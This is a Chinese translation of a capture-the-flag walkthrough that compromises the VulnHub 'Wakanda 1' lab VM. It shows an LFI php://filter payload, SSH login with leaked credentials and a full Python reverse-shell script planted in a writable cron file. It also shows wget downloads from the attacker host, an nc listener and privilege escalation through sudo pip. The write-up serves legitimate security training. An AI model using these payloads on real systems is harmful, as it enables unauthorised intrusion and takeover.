原文:https://resources.infosecinstitute.com/wakanda1-ctf-walkthrough/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+infosecResources+%28InfoSec+Resources%29

在本文中,我们将为读者详细介绍如何完成xMagass在VulnHub上发表的一个CTF挑战。根据该挑战作者的介绍,这是一个中级难度的CTF挑战。该CTF挑战的目标是获取机器的root访问权限并读取旗标文件。在完成该挑战过程中,需要拿下3个旗标。

您可以从这里下载相关的VM,然后在Virtual Box上启动它。此外,该VM也可以通过torrent进行下载,相应的URL见本末的参考部分。

对于安全研究人员来说,VulnHub可是一个非常有名的网站。它为用户提供了一种安全且合法的环境,在这个环境中,可以通过一系列挑战来学习和砥砺自己的黑客技能。

请注意:对于本文涉及的所有机器,都是在Oracle的Virtual Box环境下运行的。其中,我们使用Kali Linux作为迎接该CTF挑战的攻击方机器。需要说明的是,文中所述的技术仅限于教育目的,如果读者将其用于其他方面,责任自负。

闯关


在Virtual Box中下载并运行相关的虚拟机后,我们需要找到目标机器的IP地址。为此,首先运行Netdiscover命令,来获取目标计算机的IP地址。下图给出了该命令的输出结果:

使用的命令:Netdiscover

如上图中高亮显示的区域所示,我们得到的虚拟机的IP地址为192.168.1.11(即目标机器的IP地址)。

我们将使用地址192.168.1.45来作为攻击方的IP地址。

请注意:攻击目标和攻击方计算机的IP地址可能是不同的,具体取决于相关的网络配置。

现在,我们已经知道了目标机器的IP地址,接下来首先要找出目标机器上可用的端口和服务。为此,可以借助于Nmap进行全端口扫描,具体如下图所示:

使用的命令:nmap -p- 192.168.1.11 -sV

扫描完成后,我们发现目标机器上有四个开放的端口。那么,让我们先从HTTP端口开始下手。利用浏览器访问目标机器的IP,这时将会看到一个网站,具体如下图所示。

从上面的屏幕截图中可以看出,该网站运行在一个HTTP服务器上,主页内容为“coming soon”。然后,我对该HTML页面代码逐条进行手动分析,并通过Dirb进行扫描,以枚举应用程序中的其他入口点,具体如下图所示。

使用的命令:dirb http://192.168.1.11/

Dirb程序找到了一些目录,但响应的大小为0字节,这意味着返回200响应代码的页面是一个空白页面。

在手动分析HTML内容的过程中,我们在注释中找到了一个参数,具体如下图所示。

正如在上面屏幕截图的突出显示区域中可以看到的那样,注释中存在“lang”参数,并且研究发现,该参数含有本地文件包含(LFI)漏洞。于是,我利用该漏洞下载了索引文件的内容,具体如下图所示。

使用的有效载荷:lang=php://filter/convert.base64-encode/resource=index

如您所见,我们的有效载荷已在目标计算机上成功运行了,并且在响应中收到了base64编码的数据。接下来,让我们进行解码,以便查看index.php文件的实际源代码。为此,我们可以使用Burp Decoder:

对索引文件进行解码后,我们在源代码中找到了一个密码,具体见截图中的高亮部分。相应的密码如下所示。

密码:Niamey4Ever227!!!

现在,我们已经找到了密码,并且通过端口扫描还发现目标机器上还运行着SSH服务。不过,我们还不知道用户名。于是,我尝试使用一些默认用户名的密码进行爆破,可惜没有成功。

花了一些时间后,我在索引页面的HTML内容中发现了一个用户名,具体如下图所示。

在突出显示的区域中,我们可以看到“Made by”,这意味着我们可能找到了SSH的有效用户名,具体如下所示。

用户名:mamadou

由于我们已经在源代码中找到了密码,并且SSH服务也在目标计算机上运行,因此,我们可以尝试使用以下凭据来登录系统:

Username: mamadou
Password: Niamey4Ever227!!!

使用的命令:ssh [email protected] -p 3333

从上面的屏幕截图中可以看出,这里使用的凭证是有效的,因为我们成功登录了目标系统。但是,我们还没有得到命令shell,因为这里是一个Python shell。接下来,我们要做的事情,就是使用自己喜欢的Python命令来获取访问bash shell的权限了,具体如下图所示。

使用的命令:import pty; pty.spawn(“/bin/bash”)

好了,我们终于获得了对目标机器的命令行shell的访问权限了。之后,我运行了ls命令,显示的文件为flag1.txt文件。至此,我们就拿到了第一个旗标,具体如下图所示。

第一个旗标到手了! 现在,让我们来看看内核和Linux操作系统的版本号。

使用的命令:

uname -a
cat /etc/issue

如您所见,我们检索了内核版本和操作系统版本方面的信息。接下来,我们就可以通过互联网来检查这些版本是否存在可用的本地漏洞了。

事实证明,虽然Google的搜索结果表明有很多漏洞可用,但它们都不适用于这台机器。于是,我开始试图寻找其他途径。我仔细分析了/etc/passwd文件,发现目标系统上还有另外一个用户,即“DevOps”。

用户“DevOps”在目标计算机上具有bash访问权限。因此,我们不妨检查DevOps用户所有的文件,看看能否获取弱文件权限漏洞。

使用的命令:find / -user devops 2>/dev/null

通过上述命令,我们找到了部分文件,其中一个让人感兴趣的文件是“.antivirus.py”,该文件对所有用户都具有写入权限。所以,我们不妨看看这个文件的内容。

不难看出,这段代码将打开位于“tmp”目录中的test文件而编写,并向该文件中写入“test”。所以,对tmp文件夹中的test文件进行了一番了解。因为该文件的所有者是DevOps,所以它运行时将拥有DevOps用户的权限。如果我们能够编写一个Python反向连接程序并将其替换为“.antivirus.py”,那么我们将获得另一个DevOps用户shell。好了,我们下手吧。

我在本地计算机上创建了一个Python程序,并使用wget程序将其传输到目标计算机的“tmp”文件夹中。该python程序可以在下面的截图中看到。

#! /usr/bin/python

import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((“192.168.1.45”,4545));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call([“/bin/sh”,”-i”]);

使用的命令:

wget 192.168.1.45/pythonshell.py
cp pythonshell.py /srv/.antivirus.py

之后,我们在端口4545上启动侦听器以接收反向shell,并等待Cron运行。等了一段时间后,我们在目标机器上收到了一个反向shell,具体如下图所示。

使用的命令:

nc –lvp 4545

我们搞到了一个反向shell。之后,我们可以运行“id”命令来检查用户的情况,从而确认我们可以作为“DevOps”用户来访问目标计算机。现在,让我们运行Python命令来获取稳定的shell访问权限,具体如下图所示。

使用的命令:

python -c ‘import pty;pty.spawn(“/bin/bash”)’ (用来获取稳定的shell)
cd /home/devops (用于将当前目录改为DevOps)
ls (用于列出文件)
cat flag2.txt (用于读取flag2.txt文件)

如上图所示,我们获得了DevOps用户的权限,并在DevOps主目录中找到了另一个旗标。

因此,现在只要找到最后一个旗标就挑战成功了。由于DevOps用户也不是root用户,因此,我们还需要获取该计算机的root访问权限才能完成本次挑战。我们认为,只要获得root访问权限时,我们就能找到root旗标。

作为DevOps用户,当面运行sudo命令的时候,会返回一个错误消息,具体如下图所示。

使用的命令: sudo -l

运行sudo -l命令后,我们发现/user/bin/pip可以作为root用户运行,且无需任何密码。

所以,我们搜索了pip服务方面的漏洞利用代码,并通过wget程序将其下载到了目标机器上。在此之后,还必须在目标机器上执行漏洞利用代码,这方面的信息,请参考该pip漏洞利用代码页面的介绍,具体URL见本文末尾的参考资料部分。

使用的命令:

wget 192.168.1.45/bbbb/setup.py(用于从本地计算机下载漏洞利用代码)
sudo /usr/bin/pip install . –upgrade –force-reinstall(用于运行漏洞利用代码)

如您所见,我们首先在端口443上启动了Netcat侦听器,然后运行了漏洞利用代码,从而获得了目标机器的root shell,具体如下图所示。

到目前为止,我们终于在目标机器上拥有了root权限!现在,我们要读取第3个旗标,以完成挑战。实际上,第3个旗标很容易从根目录中找到,具体如下图所示。

我们找到了最后的一个旗标!对于这个CTF挑战来说,我们已经顺利通关了。

感谢各位耐心读完本文!

参考资料


FakePip, GitHub

Wakanda1, VulnHub

Wakanda 1 (torrent), VulnHub

Spool Privilege Escalation, Exploit Database

源链接

Hacking more

...